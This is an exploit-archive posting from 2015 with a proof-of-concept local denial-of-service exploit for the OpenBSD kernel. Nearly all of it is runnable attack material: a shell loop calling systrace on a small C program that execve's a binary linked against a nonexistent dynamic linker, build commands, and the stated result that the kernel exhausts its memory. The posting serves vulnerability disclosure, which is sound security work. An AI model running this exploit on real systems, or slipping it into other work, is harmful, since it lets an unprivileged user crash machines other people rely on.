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OpenBSD Local Denial Of Service

OpenBSD Local Denial Of Service
Posted Jul 28, 2015
Authored by Maxime Villard

OpenBSD local memory leak denial of service proof of concept exploit.

tags | exploit, denial of service, local, proof of concept, memory leak
systems | openbsd
SHA-256 | 06d406bc1d28a340f4d6972266ba9eb949cc47eb9f49a4aec013a294a61bafe6

OpenBSD Local Denial Of Service

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/*
* 2015, Maxime Villard
* Exploit triggering a memory leak in the OpenBSD kernel from an unprivileged
* user. Found by The Brainy Code Scanner.
*/

- - - - - - - - - - - - - - - - - script.sh - - - - - - - - - - - - - - - - - -

#! /bin/sh
while true
do
systrace -A ./exploit
done

- - - - - - - - - - - - - - - - - exploit.c - - - - - - - - - - - - - - - - - -

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
execve("bin", argv, NULL);
}

- - - - - - - - - - - - - - - - - - bin.c - - - - - - - - - - - - - - - - - - -

int main() {}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

$ gcc -o exploit exploit.c
$ gcc -Wl,-dynamic-linker,/DEAD -o bin bin.c
$ ./script.sh

Wait a bit, and the kernel will run out of memory.


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